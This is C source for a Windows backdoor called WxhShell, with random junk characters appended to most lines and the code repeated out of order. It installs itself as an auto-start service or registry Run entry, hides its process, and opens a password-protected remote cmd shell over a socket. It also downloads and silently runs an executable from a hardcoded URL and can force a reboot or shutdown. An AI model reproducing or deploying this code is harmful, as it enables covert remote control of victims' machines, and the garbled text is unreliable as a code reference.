    else { 3_-#  
    closesocket(wsh); xq{4i|d)  
    ExitThread(0); }_;nl n?t(  
    } N.<hZ\].=  
    break; r~;N(CG  
    } Grqs*V &|g  
  // 获取shell w"e2}iE7  
  case 's': { +!<`$+W  
    CmdShell(wsh); W) _B(;$]  
    closesocket(wsh); k9,"`dk@  
    ExitThread(0); Y}6)jzBV  
    break; KYQ6U.%W  
  } 8%"e-chd  
  // 退出 HT]ubw]rJ  
  case 'x': { M(BZ<,9V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $@x kKe"  
    CloseIt(wsh); oHYD6 qJX{  
    break; s6egd%r  
    } HI?>]zz|  
  // 离开 {\e}43^9N  
  case 'q': { 5YCbFk^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jyC6:BNust  
    closesocket(wsh); $X?V_K;9/  
    WSACleanup(); @|@43}M]C-  
    exit(1); t|q=NK/  
    break; }>w; +XU  
        } d?K8Ygz  
  } ..t=Y#  
  } 8ah]D  
O^GXFz^  
  // 提示信息 3LmHH =  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Xl@o  
} AM[:Og S  
  } ra&C|"~E  
d !H)voX  
  return; jt3SA [cy  
} A3n"zxU  
2S;zze7)  
// shell模块句柄 p5KNqqZZ  
int CmdShell(SOCKET sock) U]acm\^Z  
{ Z Kvh]  
STARTUPINFO si; 8M|Q^VeT,1  
ZeroMemory(&si,sizeof(si)); ,aJrN!fzU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vEsSqzc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2R!W5gs1<  
PROCESS_INFORMATION ProcessInfo; v^tKT&  
char cmdline[]="cmd"; */)gk=x8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U`Zn*O~/  
  return 0; 0#JBz\  
} R<=t{vTJ5  
Q ZlUUj\  
// 自身启动模式 6D0,ME#  
int StartFromService(void) 4!jHZ<2 Z  
{ ($s{em4L  
typedef struct }dz(DP d  
{  b\2"1m0H  
  DWORD ExitStatus; F0\ry "(t  
  DWORD PebBaseAddress; NEk [0  
  DWORD AffinityMask; =FnZkJ  
  DWORD BasePriority; Jj " {r{  
  ULONG UniqueProcessId; #t O!3=0  
  ULONG InheritedFromUniqueProcessId; Pz 'Hqvd  
}   PROCESS_BASIC_INFORMATION; ?<;<#JN  
?KN_J  
PROCNTQSIP NtQueryInformationProcess; =X*E(.6Ip  
Fo#*_y5\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b~gF,^w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LPO" K"'w  
xh0A2bw'OP  
  HANDLE             hProcess; s__g*%@B b  
  PROCESS_BASIC_INFORMATION pbi; 5IK@<#wE  
2. _cEY34  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9m6j?CFG}  
  if(NULL == hInst ) return 0; @-}]~|<  
3[0:,^a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ei-OuDM;)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (XJQ$n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u W T[6R  
.Dm{mV@*T  
  if (!NtQueryInformationProcess) return 0; H~Cfni;  
^= G+]$8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9x!y.gx  
  if(!hProcess) return 0; t3G'x1  
$b} +5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #pfosC[  
fsd>4t:" \  
  CloseHandle(hProcess); .Q@"];wH  
%Qq)=J<H ;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xdt+ \}\  
if(hProcess==NULL) return 0; K }BX6dA  
j`B{w   
HMODULE hMod; PvwIO_W  
char procName[255]; CCOg1X_  
unsigned long cbNeeded; SO/]d70HG  
k 9rnT)YU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $nn5;11@gY  
D,a%Je-r,  
  CloseHandle(hProcess); +bW|Q>u  
@_3$(*n$~  
if(strstr(procName,"services")) return 1; // 以服务启动 x(=x;X$[^  
cmI#R1\  
  return 0; // 注册表启动 Z"Oa5V6[A  
} Vm.@qO*=  
aehMLl9cl  
// 主模块 `'WLGQG  
int StartWxhshell(LPSTR lpCmdLine) 03@| dN  
{  t;Om9  
  SOCKET wsl; Z > =Y  
BOOL val=TRUE; ,6"n5Ks}  
  int port=0; |m- `, we  
  struct sockaddr_in door; +`-a*U94  
"M^W:4_  
  if(wscfg.ws_autoins) Install(); G`"Cqs<  
<>_Wd AOuD  
port=atoi(lpCmdLine); QE2^.|d{  
}3w b*,Sbz  
if(port<=0) port=wscfg.ws_port; ~b0qrjF;O  
i&)C,  
  WSADATA data; rrYp^xLa`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (14kR  
B}+9U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uFZB8+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rJp6d :M  
  door.sin_family = AF_INET; !U:s.^{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ecpUp39\  
  door.sin_port = htons(port); A'iF'<%  
30+l0\1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vfJk? (  
closesocket(wsl); E^a `IA  
return 1; X@U 1Ri  
} :<k|u!b}y  
c0q)  
  if(listen(wsl,2) == INVALID_SOCKET) { 4!vUksM  
closesocket(wsl); =@=R)C4f*  
return 1; 2EwWV 0BS  
} gecT*^  
  Wxhshell(wsl); jMui+G(h  
  WSACleanup(); jDXGm[U  
?3,tG z)  
return 0; ?^ezEpW  
`sy &dyM  
} 3,I >.3  
b.q"s6u  
// 以NT服务方式启动 /(ju  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +WN>9V0H  
{ '. Hp*9R  
DWORD   status = 0; cjC6\.+l3  
  DWORD   specificError = 0xfffffff; oV>AFs6  
zy6(S_j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wn|@D<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^@L l(?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I7z/GA\x  
  serviceStatus.dwWin32ExitCode     = 0; J?quYlS  
  serviceStatus.dwServiceSpecificExitCode = 0; cN}A rv  
  serviceStatus.dwCheckPoint       = 0; &d3'{~:  
  serviceStatus.dwWaitHint       = 0; I@Z*Nu1L  
np\2sa`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PJ'lZu8?x  
  if (hServiceStatusHandle==0) return; V,"iMo  
uf'P9MA}>  
status = GetLastError(); }_(^/pnk  
  if (status!=NO_ERROR) &9w%n  
{ y<%.wM]-J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #IhLpO  
    serviceStatus.dwCheckPoint       = 0; m2q;^o:J  
    serviceStatus.dwWaitHint       = 0; o/ g+Z  
    serviceStatus.dwWin32ExitCode     = status; :CST!+)o  
    serviceStatus.dwServiceSpecificExitCode = specificError; C1B3VG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qvU$9cTY  
    return; DT"Zq  
  } >l< ~Z;  
ElR&scXi__  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +<WRB\W  
  serviceStatus.dwCheckPoint       = 0; f@Rpb}zg+C  
  serviceStatus.dwWaitHint       = 0; KR+BuL+L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4B8Se  
} Y:!/4GF  
xCp+<|1   
// 处理NT服务事件,比如:启动、停止 ?~JxO/K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MRg\FR 2>1  
{ T19rbL_  
switch(fdwControl) e(=~K@m  
{ QB3d7e)8>  
case SERVICE_CONTROL_STOP: }d3N`TT  
  serviceStatus.dwWin32ExitCode = 0; {_toh/8)r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eIUuq&(  
  serviceStatus.dwCheckPoint   = 0; i=X*  
  serviceStatus.dwWaitHint     = 0; w^rb|mKo  
  { |;U=YRi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M`+e'vdw  
  } k CW!m  
  return; gUH'DS]{  
case SERVICE_CONTROL_PAUSE: RnA&-\|*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bw]L2=d  
  break; 9p\Hx#^  
case SERVICE_CONTROL_CONTINUE: 7hN6IP*so  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dj ]Hgg  
  break; mj~N]cxB  
case SERVICE_CONTROL_INTERROGATE: y }&4HrT&  
  break; <% 7P  
}; }y-;>i#m=g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^0x.'G?  
} j`|^s}8t  
Ld}(*-1i  
// 标准应用程序主函数 Fi?Q 4b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N?=qEX|R  
{ 2 ]DCF  
7Z`Mt9:Ht  
// 获取操作系统版本 N[bR&# p  
OsIsNt=GetOsVer(); v(Bp1~PPZM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %eJ\d?nw  
3r-VxP 5n  
  // 从命令行安装  [ }p  
  if(strpbrk(lpCmdLine,"iI")) Install(); _/jUs_W  
fY%M=,t3c  
  // 下载执行文件 Z.aLk4QO@  
if(wscfg.ws_downexe) { Q k;Kn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *qO]v9 j  
  WinExec(wscfg.ws_filenam,SW_HIDE); i{|lsd(+  
} BbXU| QtY  
dI_r:xN  
if(!OsIsNt) { Iu-'o  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;h,R?mU  
HideProc(); ;-9zMbte :  
StartWxhshell(lpCmdLine); 8!uL-_Bn  
} zr3q>]oma  
else cZaF f?]k  
  if(StartFromService()) A{4G@k+#d  
  // 以服务方式启动 Mm5U`mB  
  StartServiceCtrlDispatcher(DispatchTable); ~}$\B^z+  
else q?;*g@t  
  // 普通方式启动 4/HY[FT  
  StartWxhshell(lpCmdLine); D%;wVnU w  
% UW=:  
return 0; A#Q0{z@H  
} ZTh?^}/  
1Nl&4YLO  
Q/QQ:t<XUi  
qab) 1ft  
=========================================== pcRF: ~TE  
)BF \!sTn  
u>,lf\Fgz  
to!mz\F  
e0v9uQ%F5  
Z]x  5!  
" TV1e bH7q  
6K4`;  
#include <stdio.h> qeQC&U y;  
#include <string.h> fuNl4BU  
#include <windows.h> P[rAJJN/E  
#include <winsock2.h> -GDV[Bg  
#include <winsvc.h> pAJ=f}",]E  
#include <urlmon.h> |'U,/  
";)r*UgR{B  
#pragma comment (lib, "Ws2_32.lib") &\[Qm{lN  
#pragma comment (lib, "urlmon.lib") I%;Rn:zl  
r~Y>+ln.  
#define MAX_USER   100 // 最大客户端连接数 *D=K{bUe'  
#define BUF_SOCK   200 // sock buffer 0)A=+zSS1  
#define KEY_BUFF   255 // 输入 buffer Xzx[C_G  
Exep+x-  
#define REBOOT     0   // 重启 U;x1}eFT  
#define SHUTDOWN   1   // 关机 '^Pq(b~  
(j8GiJ]{L,  
#define DEF_PORT   5000 // 监听端口 u;+%Qh  
?G4iOiyt  
#define REG_LEN     16   // 注册表键长度 c&Gz> L  
#define SVC_LEN     80   // NT服务名长度 kF(Ce{;z  
K,x$c %  
// 从dll定义API }iPo8Ra  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Po Yr:=S?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QO5OnYh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ; @ 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ELN|;^-/|Q  
^H5w41  
// wxhshell配置信息 V.K70)]  
struct WSCFG { ZhGh {D[,  
  int ws_port;         // 监听端口 F3r S6_  
  char ws_passstr[REG_LEN]; // 口令 9USrgY6_  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rz.i/w g}  
  char ws_regname[REG_LEN]; // 注册表键名 " t5 +*  
  char ws_svcname[REG_LEN]; // 服务名 "2ZIoa!^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qxf+#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q<RT12|`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8s QQK.N(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no **T:eI+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "[awmZ:wo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'fS?xDs-v  
'is,^q:@  
}; gXq!a|eH  
<8iYL`3  
// default Wxhshell configuration g/OI|1a  
struct WSCFG wscfg={DEF_PORT, NlA*\vco  
    "xuhuanlingzhe", Z -pyFK\  
    1, :6 Uk)   
    "Wxhshell", ! (B_EM  
    "Wxhshell", !aQIh  
            "WxhShell Service", S8*^ss>?^R  
    "Wrsky Windows CmdShell Service", 5+y@ ]5&g  
    "Please Input Your Password: ", *w=z~Jq^R"  
  1, /t$rX3A  
  "http://www.wrsky.com/wxhshell.exe", ,"@w>WL<9  
  "Wxhshell.exe" (3AYy0J%  
    }; rQ=xcn[A  
 &|/vM.  
// 消息定义模块 hA@zoIoe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ])N|[|$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sk#9x`Rw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jz %;4e~t  
char *msg_ws_ext="\n\rExit."; p9/bzT34.  
char *msg_ws_end="\n\rQuit."; $TR=3[j  
char *msg_ws_boot="\n\rReboot..."; :L]-'\y  
char *msg_ws_poff="\n\rShutdown..."; NU|qX {-  
char *msg_ws_down="\n\rSave to "; K1;z Mh  
J=@hk@Nq#  
char *msg_ws_err="\n\rErr!"; 1T!cc%ah  
char *msg_ws_ok="\n\rOK!"; Lqg] Fd  
U!x0,sr  
char ExeFile[MAX_PATH]; 6e,Apj 0  
int nUser = 0; 5_v5  
HANDLE handles[MAX_USER]; 3b<: :t  
int OsIsNt; O-i4_YdVt  
?x:m;z/  
SERVICE_STATUS       serviceStatus; _i-\mR_~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k& OC&  
Dz,uS nnm  
// 函数声明 \^yXc*C  
int Install(void); D=2~37CzQ1  
int Uninstall(void); <H<!ht%q3  
int DownloadFile(char *sURL, SOCKET wsh); \.5F](:  
int Boot(int flag); .H ,pO#{;  
void HideProc(void); Dp^"J85}   
int GetOsVer(void); M#ZT2~+CT  
int Wxhshell(SOCKET wsl); Pl_^nFm0  
void TalkWithClient(void *cs); yU*u  
int CmdShell(SOCKET sock); % =y;L:S\p  
int StartFromService(void); :){)JZ}-95  
int StartWxhshell(LPSTR lpCmdLine); 5xhM0 (  
$6W3EOl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FU[*8^Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a-fv[oB  
xne]Q(B>  
// 数据结构和表定义 >Q&CgGpW$  
SERVICE_TABLE_ENTRY DispatchTable[] = b~1iPaIh  
{ %WZ$]M?q  
{wscfg.ws_svcname, NTServiceMain}, I[@ts!YD  
{NULL, NULL} `q^(SM  
}; %yeu"  
{ AFf:[G  
// 自我安装 Ocybc%  
int Install(void) V>6QPA^  
{ B<Ol+)@,}  
  char svExeFile[MAX_PATH]; dQ,Q+ON>  
  HKEY key; CdZnD#F2  
  strcpy(svExeFile,ExeFile); i)=m7i  
X|,["Az 8  
// 如果是win9x系统,修改注册表设为自启动 Pv~:gP  
if(!OsIsNt) { )5U !>,fT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L"4]Tm>zq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Ps5H5Qk;  
  RegCloseKey(key); &i)helXs]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -=5EbNPwG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TM)u?t+[  
  RegCloseKey(key); X2LV&oi  
  return 0; su}&".e^  
    } Z A[)  
  } 00"CC  
} ?5`{7daot  
else { V- /YNRV  
AH|Y<\  
// 如果是NT以上系统,安装为系统服务 '|_/lz$h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MBlBMUJk  
if (schSCManager!=0) 5lGQ#r  
{ 7"#f!.E  
  SC_HANDLE schService = CreateService d)\2U{  
  ( ,'u*ZB;  
  schSCManager, W-1sU g[AN  
  wscfg.ws_svcname,  e#1.T  
  wscfg.ws_svcdisp, QPX`l0V  
  SERVICE_ALL_ACCESS, Z4#v~!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S.1( 3j*  
  SERVICE_AUTO_START, 7H4L-J3  
  SERVICE_ERROR_NORMAL, Y|_O8[  
  svExeFile, ]Y{,Nx  
  NULL, ~JLYhA^'+<  
  NULL, pziq0  
  NULL, RB IOdz  
  NULL, lirNYJ]tO  
  NULL G?R_aPP  
  ); ,[Ag~.T  
  if (schService!=0) 1& |  
  { P8<hvMF  
  CloseServiceHandle(schService); mzz$`M 1  
  CloseServiceHandle(schSCManager); f9a$$nb3`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RtwUb(wn6  
  strcat(svExeFile,wscfg.ws_svcname); |U EC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )(lJT&e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <1K7@Tu  
  RegCloseKey(key); 3-iD.IAUm@  
  return 0; `UQEXoB)  
    } XC2FF&B&  
  } ,m:L2 -J@  
  CloseServiceHandle(schSCManager); Ch t%uzb,  
} Cs#w72N  
} JYQ.EAsr!  
\ADLMj`F|  
return 1; L:pUvcAc?  
} '$?du~L-  
'AWp6L@  
// 自我卸载 F5U|9<  
int Uninstall(void) sBU_Ft  
{ N}DL(-SQ3  
  HKEY key; JCD?qeTg  
or!!s 5[d  
if(!OsIsNt) { !9D1 Fa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p31oL{D  
  RegDeleteValue(key,wscfg.ws_regname); WFem#hq   
  RegCloseKey(key); 7E\g &R.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8ljuc5,J  
  RegDeleteValue(key,wscfg.ws_regname); uFo/s&6K  
  RegCloseKey(key); V'I T1~  
  return 0; l|q%%W0  
  } 7h`^N5H.q  
} H99xZxHZ{  
} nA+F  
else { F,&)X>:l  
[~)x<=H8{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #ua^{OrC/  
if (schSCManager!=0) GyK(Vb"h6  
{ q/x/N5HU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~)?|J  
  if (schService!=0) nmg{%P  
  { K{2h9 ]VF  
  if(DeleteService(schService)!=0) { 0m A(:"  
  CloseServiceHandle(schService); , D"]y~~I5  
  CloseServiceHandle(schSCManager); WqQU@sA  
  return 0; #w|5 jN?  
  } ke]Yfwk  
  CloseServiceHandle(schService); G?ig1PB"#  
  } {m[Wyb(  
  CloseServiceHandle(schSCManager); n}q$f|4!  
} uY]0dyI  
} ? |VysJ  
TF2KZL#A|  
return 1; ve fU'  
} 0>FE%  
Y{+3}drJE  
// 从指定url下载文件 *)D1!R<\,R  
int DownloadFile(char *sURL, SOCKET wsh) ?Oc -aa  
{ kP^*h O!%  
  HRESULT hr; CmHyAw(  
char seps[]= "/"; w.^yP7:  
char *token; +?AW>&68y  
char *file; $8g42LR'  
char myURL[MAX_PATH]; p9iu:MucD<  
char myFILE[MAX_PATH]; V;;#/$oU:4  
N}mh}  
strcpy(myURL,sURL); w & P&7  
  token=strtok(myURL,seps); ]\dHU.i  
  while(token!=NULL) (f>M &..  
  { kceyuD$3G  
    file=token; ]r959+\$  
  token=strtok(NULL,seps); 8UM0vNk  
  } n NQ-"t  
ShGp^xVj  
GetCurrentDirectory(MAX_PATH,myFILE); oY.\)eJ~>  
strcat(myFILE, "\\"); iRt*A6`m+  
strcat(myFILE, file); vQHpf>o  
  send(wsh,myFILE,strlen(myFILE),0); {SdO9Yy?@7  
send(wsh,"...",3,0); b#='^W3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EO:avH.*0  
  if(hr==S_OK) 5v|EAjB6o  
return 0; = F<:}Tx)C  
else taDQ65  
return 1; gDC2 >nV  
L!y"d!6C  
} $.8 H>c  
C:j]43`  
// 系统电源模块 Yt{&rPv,  
int Boot(int flag) Y;_T=  L  
{ -N# #w=  
  HANDLE hToken; J\A8qh8  
  TOKEN_PRIVILEGES tkp; /b%Q[ Ck_  
A ~&+F>Z  
  if(OsIsNt) { X"<|Z]w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @GeHWv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :1_mfX  
    tkp.PrivilegeCount = 1; +t"j-}xzE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 Y+:,ud\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ri=+(NKo-  
if(flag==REBOOT) { >rf5)Y~f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GFL-.? 0  
  return 0; %l|\of7P2}  
} ,YB1 y)x  
else { |^Kjz{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7I >J$"  
  return 0; @i1q]0  
} gtYRV*^q  
  } "8/dD]=f^a  
  else { m~>@BCn;  
if(flag==REBOOT) { U^?= 0+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J?D\$u:  
  return 0; 1;&T^Gdj  
} tX?J@+  
else { |GuEGmR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (/?R9T[V&^  
  return 0;  hY=I5[*  
} P%)b+H{$h  
} DsQ/aG9c%  
%\I.DEYH  
return 1; hQ';{5IKvC  
} $E.XOpl&I  
 SFpQ#  
// win9x进程隐藏模块 d)KF3oA  
void HideProc(void) KlO(o#&N  
{ e{!vNJ0`  
vGN3 YcH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;J=:IEk  
  if ( hKernel != NULL ) R|Y~u*D  
  { U ~1 SF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8&.-]{Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JXm?2 /  
    FreeLibrary(hKernel); XeU<^ [  
  } 8R4qU!M  
tlGWl0V?7Q  
return; w~N-W8xNR  
} jdlG#j-\  
mHs:t{q  
// 获取操作系统版本 &yLc1#H  
int GetOsVer(void) O?E6xc<8  
{ TSQh X~RN  
  OSVERSIONINFO winfo; a D|Yo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HcO5?{2  
  GetVersionEx(&winfo); aYVDp{_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eqhAus?)  
  return 1; o](.368+4  
  else Euu ,mleM  
  return 0; )4uq iA6  
} y<M]dd$  
:hP58 }Q$  
// 客户端句柄模块 q%S8\bt  
int Wxhshell(SOCKET wsl) !<r8~A3!(  
{ [H^ X"D  
  SOCKET wsh; _}ele+  
  struct sockaddr_in client; d?7BxYaa  
  DWORD myID; V(..8}LlD  
E}$V2ha0zu  
  while(nUser<MAX_USER) x6e+7"#~  
{ %U?)?iZdL  
  int nSize=sizeof(client); 7\%$>< K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |-61(X.  
  if(wsh==INVALID_SOCKET) return 1; %nQmFIt  
O<X )p`,`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 38wq (  
if(handles[nUser]==0) sX'nn   
  closesocket(wsh); *#h;c1aP  
else ]^ 'ZiyJX  
  nUser++; Q52 bh'cuU  
  } kzi|$Gs<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SRWg[H  
-*3(a E  
  return 0; \EI#az=I  
} B_&^ER5j  
5^2TfG9  
// 关闭 socket bQ.nFa']  
void CloseIt(SOCKET wsh) CQ18%w6  
{ Ja [#[BJ?  
closesocket(wsh); X6kaL3L}  
nUser--; gjZx8oIoP  
ExitThread(0); u+z~  
} =|V" #3$f  
jY+Do:#/wO  
// 客户端请求句柄 4J8Dh;a`  
void TalkWithClient(void *cs) Cuv|6t75'  
{  XhA4:t  
L[. <o{  
  SOCKET wsh=(SOCKET)cs; rr )/`Kmv%  
  char pwd[SVC_LEN]; u){S$</  
  char cmd[KEY_BUFF]; ~U%j{8uH  
char chr[1]; `]{Psc6_=  
int i,j; ,`)OEI|1d  
kf K[u/<i  
  while (nUser < MAX_USER) { :rmauKR  
4(|yD;  
if(wscfg.ws_passstr) { 0BDS_Rx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pVz*ZQ[]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PWG;&ma  
  //ZeroMemory(pwd,KEY_BUFF); 7LdzZS0OM  
      i=0; H:MUNc8i  
  while(i<SVC_LEN) { }4KW@L[g  
zbg+6qs})  
  // 设置超时 Pz1G<eh#{g  
  fd_set FdRead; mu>] 9ZW  
  struct timeval TimeOut; A]xCF{*)&  
  FD_ZERO(&FdRead); 0_HJ.g!  
  FD_SET(wsh,&FdRead); @,Jb7V<  
  TimeOut.tv_sec=8; e5L 1er;6  
  TimeOut.tv_usec=0; 2@ *<9-9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); niAZ$w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c/RT0xql*  
tWX7dspx/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wPQ&Di*X}  
  pwd=chr[0]; >uW^.e "F  
  if(chr[0]==0xd || chr[0]==0xa) { -;ER`Jqs,  
  pwd=0; 9C=~1>S  
  break; b~9`]+  
  } mF~ys{"t  
  i++; 5\3 swP_7  
    } Hh\ 4MNl  
MYu`c[$jZ  
  // 如果是非法用户,关闭 socket -)>(8f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '}CN?f|.  
} 4v>o%  
1VGpq-4*j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Kee2s?*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &t_A0z  
G g(NGT  
while(1) { yZ|+VXO  
R` 44'y|  
  ZeroMemory(cmd,KEY_BUFF); ?(>k,[n  
;Rs.rl>;t/  
      // 自动支持客户端 telnet标准   z2v<a{e  
  j=0; Q-3r}jJe  
  while(j<KEY_BUFF) { ~f .y:Sbb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IqXBz.p  
  cmd[j]=chr[0]; qL,ka  
  if(chr[0]==0xa || chr[0]==0xd) { V07VwVD  
  cmd[j]=0; Yfe'#MKfL  
  break; `ReGnT[  
  } 9p4%8WhJ  
  j++; },v&rkwR  
    } ]d^ k4 d  
V&g)m.d:n  
  // 下载文件 G LoiH#R  
  if(strstr(cmd,"http://")) { {wHvE4F2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2+o!o  
  if(DownloadFile(cmd,wsh)) ^glX1 )  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N "*olx  
  else 7MoR9,(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z>7=k`x`:  
  } [z^Od  
  else { sbgJw  
~};]k}  
    switch(cmd[0]) { El{r$-}  
  *q}FV2  
  // 帮助 ,}u,)7  
